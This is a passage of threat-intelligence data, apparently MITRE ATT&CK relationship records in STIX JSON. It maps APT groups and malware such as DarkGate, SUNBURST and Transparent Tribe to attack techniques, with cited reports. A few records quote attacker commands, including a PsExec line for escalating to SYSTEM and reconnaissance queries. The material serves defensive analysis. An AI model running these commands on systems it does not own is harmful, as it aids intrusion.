2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T18:18:34.007Z","description":"[Backdoor.Oldrea](https://attack.mitre.org/software/S0093) adds Registry Run keys to achieve persistence.(Citation: Symantec Dragonfly)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--087c222c-4108-4fbf-ac8f-983cd71548fa","type":"relationship","created":"2021-09-07T13:27:47.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"},{"source_name":"Unit 42 ProjectM March 2016","url":"https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/","description":"Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021."},{"source_name":"Talos Transparent Tribe May 2021","url":"https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html","description":"Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021."}],"modified":"2021-10-15T19:27:15.824Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has set up websites with malicious hyperlinks and iframes to infect targeted victims with [Crimson](https://attack.mitre.org/software/S0115), [njRAT](https://attack.mitre.org/software/S0385), and other malicious tools.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Unit 42 ProjectM March 2016)(Citation: Talos Transparent Tribe May 2021)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0882cca9-ed77-4c71-85e4-78988d79236f","created":"2022-10-06T21:19:39.963Z","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T21:19:39.963Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used the `fsutil fsinfo drives` command as part of their advanced reconnaissance.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0884b8fd-64b4-4736-b52d-0182d312b9bf","type":"relationship","created":"2021-03-30T20:00:52.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:00:52.489Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) has used VBScript code on the victim's machine.(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--088c3553-db7f-4e97-9f32-75e483d59cba","type":"relationship","created":"2021-03-23T20:49:40.265Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ShadowPad Aug 2017","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf","description":"Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021."}],"modified":"2021-03-23T20:49:40.265Z","description":"[ShadowPad](https://attack.mitre.org/software/S0596) has collected the current date and time of the victim system.(Citation: Kaspersky ShadowPad Aug 2017)","relationship_type":"uses","source_ref":"malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--088cbe38-25e2-42a0-b65e-252bb1865d18","type":"relationship","created":"2021-04-19T22:06:49.161Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2021-04-19T22:06:49.161Z","description":"[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)","relationship_type":"uses","source_ref":"malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--088d703a-f321-48d2-8090-12fc8179c6ff","type":"relationship","created":"2020-03-19T20:18:45.749Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellMafia/PowerSploit","description":"PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.","source_name":"GitHub PowerSploit May 2012"},{"url":"http://powersploit.readthedocs.io","description":"PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.","source_name":"PowerSploit Documentation"}],"modified":"2020-03-19T20:18:45.749Z","description":"[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Privesc-PowerUp modules that can discover and exploit path interception opportunities in the PATH environment variable.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)","relationship_type":"uses","source_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","target_ref":"attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--088f896a-59a4-4bce-aacf-3a1f0d6c4237","type":"relationship","created":"2021-01-06T16:56:56.356Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.356Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) used the WMI query Select * From Win32_SystemDriver to retrieve a driver listing.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08911cc4-20be-4499-8b19-f4c6151a7172","created":"2024-02-26T14:23:36.958Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-26T14:23:36.958Z","description":"Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.","relationship_type":"mitigates","source_ref":"course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb","target_ref":"attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--089ad94f-daa3-437d-931a-9fc2b782595c","created":"2023-03-20T17:18:40.758Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Lunghi Iron Tiger Linux","description":"Daniel Lunghi. (2023, March 1). Iron Tiger’s SysUpdate Reappears, Adds Linux Targeting. Retrieved March 20, 2023.","url":"https://www.trendmicro.com/en_us/research/23/c/iron-tiger-sysupdate-adds-linux-targeting.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T22:07:13.909Z","description":"[SysUpdate](https://attack.mitre.org/software/S0663) has used DES to encrypt all C2 communications.(Citation: Lunghi Iron Tiger Linux)","relationship_type":"uses","source_ref":"malware--c009560a-f097-45a3-8f9f-78ec1440a783","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--089cfcb7-2e3b-43f2-8e63-5e42fcbdcf06","created":"2024-08-09T17:43:18.713Z","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-09T17:43:18.713Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can execute a task which leads to execution if it finds a process name containing “creensaver.”(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--089eeb46-323e-410b-a27b-dc5ff4467c40","type":"relationship","created":"2021-04-20T12:38:48.122Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FBI FLASH APT39 September 2020","url":"https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf","description":"FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}],"modified":"2021-04-20T12:38:48.122Z","description":"[APT39](https://attack.mitre.org/groups/G0087) has used malware to decrypt encrypted CAB files.(Citation: FBI FLASH APT39 September 2020)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--089efdf8-b07a-4cda-aa5d-e60f9501ffd1","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.265Z","description":"The [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) uploader or malware the uploader uses command to delete the RAR archives after they have been exfiltrated.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08a0175a-eb34-4ed2-a9ca-d458da65326a","created":"2024-02-14T21:29:34.302Z","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-14T21:29:34.302Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) tries to elevate privileges to SYSTEM using PsExec to locally execute as a service, such as cmd /c c:\\temp\\PsExec.exe -accepteula -j -d -s [Target Binary].(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08a74c86-5a98-4634-a93c-9c192d3e4fc9","type":"relationship","created":"2020-08-25T20:11:53.139Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NSA/FBI Drovorub August 2020","url":"https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF","description":"NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."}],"modified":"2020-08-25T20:11:53.139Z","description":"[Drovorub](https://attack.mitre.org/software/S0502) can transfer files from the victim machine.(Citation: NSA/FBI Drovorub August 2020)","relationship_type":"uses","source_ref":"malware--99164b38-1775-40bc-b77b-a2373b14540a","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08b30f76-ca12-4d2c-9345-ee51bfd54e9f","type":"relationship","created":"2021-12-07T14:46:10.689Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"},{"source_name":"Symantec Dragonfly Sept 2017","description":"Symantec Security Response. (2014, July 7). Dragonfly: Western energy sector targeted by sophisticated attack group. Retrieved September 9, 2017.","url":"https://docs.broadcom.com/doc/dragonfly_threat_against_western_energy_suppliers"},{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 2021."}],"modified":"2021-12-08T19:32:46.147Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has performed screen captures of victims, including by using a tool, scr.exe (which matched the hash of ScreenUtil).(Citation: US-CERT TA18-074A)(Citation: Symantec Dragonfly Sept 2017)(Citation: Gigamon Berserk Bear October 2021)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08b4b3f1-3c20-4e70-8a42-99fd5f191b12","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"alientvault macspy","description":"PETER EWANE. (2017, June 9). MacSpy: OS X RAT as a Service. Retrieved September 21, 2018.","url":"https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"}],"modified":"2020-01-17T19:50:53.351Z","description":"[MacSpy](https://attack.mitre.org/software/S0282) deletes any temporary files it creates(Citation: alientvault macspy)","relationship_type":"uses","source_ref":"malware--f72251cb-2be5-421f-a081-99c29a1209e7","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08bc171a-147c-4888-a0cb-c5fcebdc9b95","type":"relationship","created":"2021-03-01T14:07:36.786Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint LookBack Malware Aug 2019","url":"https://www.proofpoint.com/us/threat-insight/post/lookback-malware-targets-united-states-utilities-sector-phishing-attacks","description":"Raggi, M. Schwarz, D.. (2019, August 1). LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards. Retrieved February 25, 2021."}],"modified":"2021-04-26T13:29:32.728Z","description":"[LookBack](https://attack.mitre.org/software/S0582) can kill processes and delete services.(Citation: Proofpoint LookBack Malware Aug 2019)","relationship_type":"uses","source_ref":"malware--c9ccc4df-1f56-49e7-ad57-b383e1451688","target_ref":"attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08bf9136-b5a3-4f46-893a-3bd4f7911f91","created":"2024-07-01T20:45:59.774Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Turla Lunar toolset May 2024","description":"Jurčacko, F. (2024, May 15). To the Moon and back(doors): Lunar landing in diplomatic missions. Retrieved June 26, 2024.","url":"https://www.welivesecurity.com/en/eset-research/moon-backdoors-lunar-landing-diplomatic-missions/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T18:04:15.767Z","description":"[LunarWeb](https://attack.mitre.org/software/S1141) can run shell commands using a BAT file with a name matching `%TEMP%\\<⁠random_9_alnum_chars>.batfile` or through cmd.exe with the `/c` and `/U` option for Unicode output.(Citation: ESET Turla Lunar toolset May 2024)","relationship_type":"uses","source_ref":"malware--e1284931-3f85-4262-a641-9ae8bb0576a0","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08c3b884-5e8d-413a-a336-6246ed11af24","created":"2024-06-06T17:45:41.111Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Huntress INC Ransomware May 2024","description":"Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/lolbin-to-inc-ransomware"},{"source_name":"Cybereason INC Ransomware November 2023","description":"Cybereason Security Research Team. (2023, November 20). Threat Alert: INC Ransomware. Retrieved June 5, 2024.","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/threat-alert-inc-ransomware.pdf"},{"source_name":"SOCRadar INC Ransom January 2024","description":"SOCRadar. (2024, January 24). Dark Web Profile: INC Ransom. Retrieved June 5, 2024.","url":"https://socradar.io/dark-web-profile-inc-ransom/"},{"source_name":"Huntress INC Ransom Group August 2023","description":"Team Huntress. (2023, August 11). Investigating New INC Ransom Group Activity. Retrieved June 5, 2024.","url":"https://www.huntress.com/blog/investigating-new-inc-ransom-group-activity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-06-11T18:35:35.429Z","description":"\n[INC Ransom](https://attack.mitre.org/groups/G1032) has used RDP to move laterally.(Citation: Cybereason INC Ransomware November 2023)(Citation: Huntress INC Ransom Group August 2023)(Citation: SOCRadar INC Ransom January 2024)(Citation: Huntress INC Ransomware May 2024)","relationship_type":"uses","source_ref":"intrusion-set--cb41e991-65f4-4668-a65f-f4200545b5a1","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--08c45e87-edef-455d-a15a-4612f2312e29","created":"2022-04-06T20:07:52.246Z","x_mitre_version":"0.1","external_references":[{"source_name":"MalwareBytes LazyScripter Feb 2021","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KOCTOPUS](https://attack.mitre.org/software/S0669) has relied on victims clicking a malicious document for execution.(Citation: MalwareBytes LazyScripter Feb 2021) ","modified":"2022-04-06T20:07:52.246Z","relationship_type":"uses","source_ref":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08c69567-a511-4a07-ab5d-a5bf77594129","created":"2021-10-01T01:57:31.776Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Intelligence Group","description":"Darin Smith. (2022, April 21). TeamTNT targeting AWS, Alibaba. Retrieved August 4, 2022.","url":"https://blog.talosintelligence.com/teamtnt-targeting-aws-alibaba-2/"},{"source_name":"Trend Micro TeamTNT","description":"Fiser, D. Oliveira, A. (n.d.). Tracking the Activities of TeamTNT A Closer Look at a Cloud-Focused Malicious Actor Group. Retrieved September 22, 2021.","url":"https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-12-01T17:31:07.699Z","description":"[TeamTNT](https://attack.mitre.org/groups/G0139) has modified the permissions on binaries with chattr.(Citation: Trend Micro TeamTNT)(Citation: Cisco Talos Intelligence Group)","relationship_type":"uses","source_ref":"intrusion-set--35d1b3be-49d4-42f1-aaa6-ef159c880bca","target_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--08c8fe77-b0b9-45e7-a2bf-e09257fa83f7","created":"2022-06-03T14:58:35.937Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[DanBot](https://attack.mitre.org/software/S1014) can use a scheduled task for installation.(Citation: SecureWorks August 2019)","modified":"2022-06-03T14:58:35.937Z","relationship_type":"uses","source_ref":"malware--b8d48deb-450c-44f6-a934-ac8765aa89cb","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08cdde30-5009-43bf-ad02-9330e7bfd0a7","created":"2024-05-20T23:47:58.319Z","revoked":false,"external_references":[{"source_name":"Symantec Tortoiseshell 2019","description":"Symantec Threat Hunter Team. (2019, September 18). Tortoiseshell Group Targets IT Providers in Saudi Arabia in Probable Supply Chain Attacks. Retrieved May 20, 2024.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/tortoiseshell-apt-supply-chain"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T23:47:58.319Z","description":"[CURIUM](https://attack.mitre.org/groups/G1012) has been linked to web shells following likely server compromise as an initial access vector into victim networks.(Citation: Symantec Tortoiseshell 2019)","relationship_type":"uses","source_ref":"intrusion-set--3ea7add5-5b8f-45d8-b1f1-905d2729d62a","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08d7395b-b3e6-4ae2-be46-31347d1d5eaa","type":"relationship","created":"2021-08-24T14:16:39.382Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10292089-1.v2 TAIDOOR August 2021","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a","description":"CISA, FBI, DOD. (2021, August). MAR-10292089-1.v2 – Chinese Remote Access Trojan: TAIDOOR. Retrieved August 24, 2021."}],"modified":"2021-08-24T14:22:49.556Z","description":"[Taidoor](https://attack.mitre.org/software/S0011) 